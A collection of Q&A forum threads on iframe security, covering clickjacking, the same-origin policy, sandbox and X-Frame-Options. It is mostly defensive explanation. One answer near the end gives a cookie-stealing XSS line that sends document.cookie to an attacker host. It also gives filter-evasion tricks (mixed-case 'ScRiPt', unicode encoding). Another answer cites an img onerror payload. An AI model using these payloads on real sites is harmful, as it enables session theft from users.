We recently had a scenario in which an iframe snippet on a server A was pointing to url on server B. There were some malwares being installed by server A on some clients. Can this iframe be the cause. As in hacker injected his url in the iframe's src. What can be the alternatives to iframe etc.
Most likely you experienced XSS
If a hacker is able to change the URL an iframe points to on your site then the iframe is not the problem, your code is.
Any web site could serve up malware, but you have indicated that the hacker has attacked your site and changed the src attribute of the iframe, not the site serving the iframe contents. Even if you replaced an iframe with something else the fact that an attacker has managed to get to the data behind your web site used to generate the page means that they could not limit themselves to iframes, but embed other tactics, such as a redirect, or a hidden link which is clicked by javascript or any other type of common nasty.
Generally IFrame whose content comes from a different domain cannot access the DOM of the parent web site - due to cross domain scripting restrictions. There were lots of bugs involving browsers not implementing such restrictions properly, so an out-of-date client browser might be the cause.
Unless you're running code inside of the iFrame, which you really shouldn't be, it would be a good idea to disable that iFrame from running any code.
Related
Why are iframes considered dangerous and a security risk? Can someone describe an example of a case where it can be used maliciously?
The IFRAME element may be a security risk if your site is embedded inside an IFRAME on hostile site. Google "clickjacking" for more details. Note that it does not matter if you use <iframe> or not. The only real protection from this attack is to add HTTP header X-Frame-Options: DENY and hope that the browser knows its job.
If anybody claims that using an <iframe> element on your site is dangerous and causes a security risk, they do not understand what <iframe> element does, or they are speaking about possibility of <iframe> related vulnerabilities in browsers. Security of <iframe src="..."> tag is equal to <img src="..." or <a href="..."> as long there are no vulnerabilities in the browser. And if there's a suitable vulnerability, it might be possible to trigger it even without using <iframe>, <img> or <a> element, so it's not worth considering for this issue.
In addition, IFRAME element may be a security risk if any page on your site contains an XSS vulnerability which can be exploited. In that case the attacker can expand the XSS attack to any page within the same domain that can be persuaded to load within an <iframe> on the page with XSS vulnerability. This is because vulnerable content from the same origin (same domain) inside <iframe> is allowed to access the parent content DOM (practically execute JavaScript in the "host" document). The only real protection methods from this attack is to add HTTP header X-Frame-Options: DENY and/or always correctly encode all user submitted data (that is, never have an XSS vulnerability on your site - easier said than done).
However, be warned that content from <iframe> can initiate top level navigation by default. That is, content within the <iframe> is allowed to automatically open a link over current page location (the new location will be visible in the address bar). The only way to avoid that is to add sandbox attribute without value allow-top-navigation. For example, <iframe sandbox="allow-forms allow-scripts" ...>. Unfortunately, sandbox also disables all plugins, always. For example, historically Youtube couldn't be sandboxed because Flash player was still required to view all Youtube content. No browser supports using plugins and disallowing top level navigation at the same time. However, unless you have some very special reasons, you cannot trust any plugins to work at all for majority of your users in 2021, so you can just use sandbox always and guard your site against forced redirects from user generated content, too. Note that this will break poorly implemented content that tries to modify document.top.location. The content in sandboxed <iframe> can still open links in new tabs so well implemented content will work just fine. Also notice that if you use <iframe sandbox="... allow-scripts allow-same-origin ..." src="blog:..."> any XSS attack within the blob: content can be extended to host document because blob: URLs always inherit the origin of their parent document. You cannot wrap unfiltered user content in blob: and render it as an <iframe> any more than you can put that content directly on your own page.
Example attack goes like this: assume that users can insert user generated content with an iframe; an <iframe> without an attribute sandbox can be used to run JS code saying document.top.location.href = ... and force a redirect to another page. If that redirect goes to a well executed phishing site and your users do not pay attention to address bar, the attacker has a good change to get your users to leak their credentials. They cannot fake the address bar but they can force the redirect and control all content that users can see after that. Leaving allow-top-navigation out of sandbox attribute value avoids this problem. However, due historical reasons, <iframe> elements do not have this limitation by default, so you'll be more vulnerable to phishing if your users can add <iframe> element without attribute sandbox.
Note that X-Frame-Options: DENY also protects from rendering performance side-channel attack that can read content cross-origin (also known as "Pixel perfect Timing Attacks").
That's the technical side of the issue. In addition, there's the issue of user interface. If you teach your users to trust that URL bar is supposed to not change when they click links (e.g. your site uses a big iframe with all the actual content), then the users will not notice anything in the future either in case of actual security vulnerability. For example, you could have an XSS vulnerability within your site that allows the attacker to load content from hostile source within your iframe. Nobody could tell the difference because the URL bar still looks identical to previous behavior (never changes) and the content "looks" valid even though it's from hostile domain requesting user credentials.
As soon as you're displaying content from another domain, you're basically trusting that domain not to serve-up malware.
There's nothing wrong with iframes per se. If you control the content of the iframe, they're perfectly safe.
I'm assuming cross-domain iFrame since presumably the risk would be lower if you controlled it yourself.
Clickjacking is a problem if your site is included as an iframe
A compromised iFrame could display malicious content (imagine the iFrame displaying a login box instead of an ad)
An included iframe can make certain JS calls like alert and prompt which could annoy your user
An included iframe can redirect via location.href (yikes, imagine a 3p frame redirecting the customer from bankofamerica.com to bankofamerica.fake.com)
Malware inside the 3p frame (java/flash/activeX) could infect your user
IFRAMEs are okay; urban legends are not.
When you "use iframes", it doesn't just mean one thing. It's a lexical ambiguity. Depending on the use case, "using iframes" may mean one of the following situations:
Someone else displays your content in an iframe
You display domeone else's content in an iframe
You display your own content in an iframe
So which of these cases can put you in risk?
1. Someone else displays your content
This case is almost always referred to as clickjacking - mimicking your site's behaviour, trying to lure your users into using a fake UI instead of the real site. The misunderstanding here is that you using or not using iframes is irrelevant, it's simply not your call - it's someone else using iframes, which you can do nothing about. Btw, even they don't need them specifically: they can copy your site any other way, stealing your html, implementing a fake site from scratch, etc.
So, ditching iframes in attempt to prevent clickjacking - it makes exactly zero sense.
2. You display someone else's content
Of the three above, this is the only one that's somewhat risky, but most of the scary articles you read all the time come from a world before same-origin policy was introduced. Right now, it's still not recommended to include just any site into your own (who knows what it will contain tomorrow?), but if it's a trusted source (accuweather, yahoo stock info etc), you can safely do it. The big no-no here is letting users (therefore, malicious users) control the src of the iframe, telling it what to display. Don't let users load arbitrary content into your page, that's the root of all evil. But it's true with or without iframes. It has nothing to do with them; it could happen using a script or a style tag (good luck living without them) - the problem is you let them out. Any output on your site containing any user-given content is RISKY. Without sanitizing (de-HTMLifying) it, you're basically opening your site up for XSS attacks, anyone can insert a <script> tag into your content, and that is bad news. Like, baaaad news.
Never output any user input without making dead sure it's harmless.
So, while iframes are innocent again, the takeaway is: don't make them display 3rd-party content unless you trust the source. In other words, don't include untrusted content in your site. (Also, don't jump in front of fast-approaching freight trains. Duuh.)
3. You display your own content in an iframe
This one is obviously harmless. Your page is trusted, the inner content of the iframe is trusted, nothing can go wrong. Iframe is no magic trick; it's just an encapsulation technique, you absolutely have the right to show a piece of your content in a sandbox. It's much like putting it inside a div or anything else, only it will have its own document environment.
TL;DR
Case 1: doesn't matter if you use iframes or not,
Case 2: not an iframe problem,
Case 3: absolutely harmless case.
Please stop believing urban legends. The truth is, iframe-s are totally safe. You could as well blame script tags for being dangerous; anything can cause trouble when maliciously inserted in a site. But how did they insert it in the first place? There must be an existing backend vulnerability if someone was able to inject html content into a site. Blaming one piece of technology for a common attack (instead of finding the real cause) is just a synonym for keeping security holes open. Find the dragon behind the fire.
Unsanitized output is bad; iframes are not.
Stop the witch-hunt.
UPDATE:
There is an attribute called sandbox, worth checking out: https://www.w3schools.com/tags/att_sandbox.asp
UPDATE 2:
Before you comment against iframes - please think about hammers. Hammers are dangerous. They also don't look very nice, they're difficult to swim with, bad for teeth, and some guy in a movie once misused a hammer causing serious injuries. Also, just googled it and tons of literature says mortals can't even move them. If this looks like a good reason to never ever use a hammer again, iframes may not be your real enemy. Sorry for going offroad.
"Dangerous" and "Security risk" are not the first things that spring to mind when people mention iframes … but they can be used in clickjacking attacks.
iframe is also vulnerable to Cross Frame Scripting:
https://www.owasp.org/index.php/Cross_Frame_Scripting
Now I know there are a lot of resources about same origin policy, but I just want a straight up answer for my specific query as I am really struggling to understand.
I am using Facebook plugins on my website, these create iframes that are only visible in the DOM when I use chromes inspect element etc.
Is there a way that I can access these iFrames properties/attributes at all, or is it a resounding "NO CHANCE!". I am spending far too much time on this and I just need to get a final verdict.
Thanks!
Javascript doesn't see the iframe content. Chrome inspector just loads 2 different websites in the same time, yours and the plugins one, so you can play with both of them.
Just curious, how would you like to change it?
In general, JavaScript cannot access iframe content from outside of the iframe, unless the page domain and the iframe domain share the same protocol and host and port. In your case, this could possibly be done using a proxy server to load the iframe content from your domain.
http://en.wikipedia.org/wiki/Same_origin_policy
Some websites has a script that will redirect it to the original site if you tried to put it on an iframe. So to solve this, we have add the property sandbox="allow-scripts" to the iframe tag. But this solution will not work on browser that doesn't support html5. How can we resolve this? Additionally, we still want to have the script activated on the inner pages.
Ask the owners/administrators of the site to give you an authenticated URL for the site that doesn't redirect.
If you're trying to do this without the permission of the owners/adminstrators, then please reconsider your design.
It sounds like the original post is mentioning a frame-busting script which is in place to keep the page contents from being framed, usually to combat click-jacking attacks.
If you have permission from the site you are trying to frame, aka you have a legitimate reason to be framing their site, you should work with the owners of that site to find a work around. One such method would be to have them replace their frame-busting script with an X-Frame-Options header that could list your domain as an allowed domain to frame the content.
I've got a page with an iframe. The page and the source of the iframe are in different domains. Inside the iframe I'm using a rich text editor called CuteEditor (which has turned out to be not so cute). There are certain javascript functions in CuteEditor which try to access 'document' but the browser denies access since they're not in the same domain.
Here's the exact error:
Permission denied to access property 'document'
http://dd.byu.edu/plugins/cuteeditor_files/Scripts/Dialog/DialogHead.js
Line 1
Editing the javascript is out of the question because it's been minfied and obfuscated so all the variable names are cryptic.
Using a different editor is currently out of the question because this is a work project and this is the editor I've been told to use.
Is there a way to keep the iframe self-contained? So it does everything inside the iframe and doesn't try to break out to the parent frame?
If the child iframe is loaded from a different domain, then it will not be able to access the parent page or DOM.
However, there is a still a possible vulnerability to man-in-the-middle attack as follows. Suppose your page loads off http://yoursite.com and the iframe goes to http://badsite.org
first http://badsite.org redirects to http://yoursite.com/badpage
This is the step that requires a man-in-the-middle attack. The attacker must either be able to get between the user and yoursite.com, or control the answers to your DNS lookup. This is easier than it sounds -- anyone who has administrative control over a public WiFi access point could do it (think Starbucks, hotels, airports.) The goal is to serve the content of http://yoursite.com/badpage from the attacker's site, not your actual site.
The attacker can then serve whatever malicious code they like from the (fake) http://yoursite.org/badpage. Because this is in the same domain as the main page, it will have access to the parent DOM.
The HTML5 iframe sandbox attribute seems to be the way to avoid this. You can read the spec, but the best description might be here.
This seems to be supported on Chrome, IE10, FireFox, Safari.
The spec says that if the "allow-same-origin" attribute is not set, "the content is treated as being from a unique origin." This should prevent your child iframe from accessing any part of the parent's DOM, no matter what the browser thinks the URL is.
You shouldn't need to worry about that happening.
The only way iframes can talk cross-origin is with postMessage, and that's only possible if you're listening to that domain directly.
https://developer.mozilla.org/en/DOM/window.postMessage
I am experimenting with cross site scripting. I have a website which allows users to insert comments and view them on the website. The website filters the string "script" though from the comment but it allows iframes. I understand that I could embed an iframe that points to a website that I craft and I can run whatever script I wish. My question is: will my iframe script be able to read cookies initiated by the original website? I have tried alert(document.cookie) but it shows an alert with nothing in it. The original website always sets a cookie though when a client requests it. Any idea what I am missing?
Both the surrounding page need to come from the same domain. This is limited by the Same Origin Policy, which states that a script in one frame may only access data in another frame given they are on the same protocol, have the exact same domain name and are running on the same port. It can be slightly relaxed by setting document.domain to the top level domain in both frames, and thus allowing frames from subdomain to communicate.
You could though try to input , though that may be blocked in newer browsers.
Limiting script is however not enough to stop XSS. There are many many other ways. See http://html5sec.org and http://ha.ckers.org/xss.html
You made it sound like you are trying to use the cookie as a payload for the XSS?
Are you in fact trying to steal the cookie?
But if the site is allowing you to insert comments and only removing "script" then you have a bunch of alternatives for inserting XSS including coookie stealing script.
Try this
javascript:img=new Image();img.src="http://yoursite.com?cookie="+document.cookie;
but you want to encode the word script so you can instead you can try
ScRiPt
or unicode 73 63 72 69 70 74
Cookies follow same origin policy. So if the attack website and the victim website(which allows iframes to open) are having the same host then the popup on running document.cookie will conatin the cookies info.
Since in your case they seem to be of diff domains cookie stealing will not be possible.
To prevent XSS better way is to use C:out tag of the core jstl library
As far as I know, an iframe cannot access to the original website if the domain of iframe and the domain of original website are different, but there are other problems. (ex. cracker commenting <img src="asdf" onerror="alert(document.cookie)"/>)
You may want to use somethings like HTML Purifier....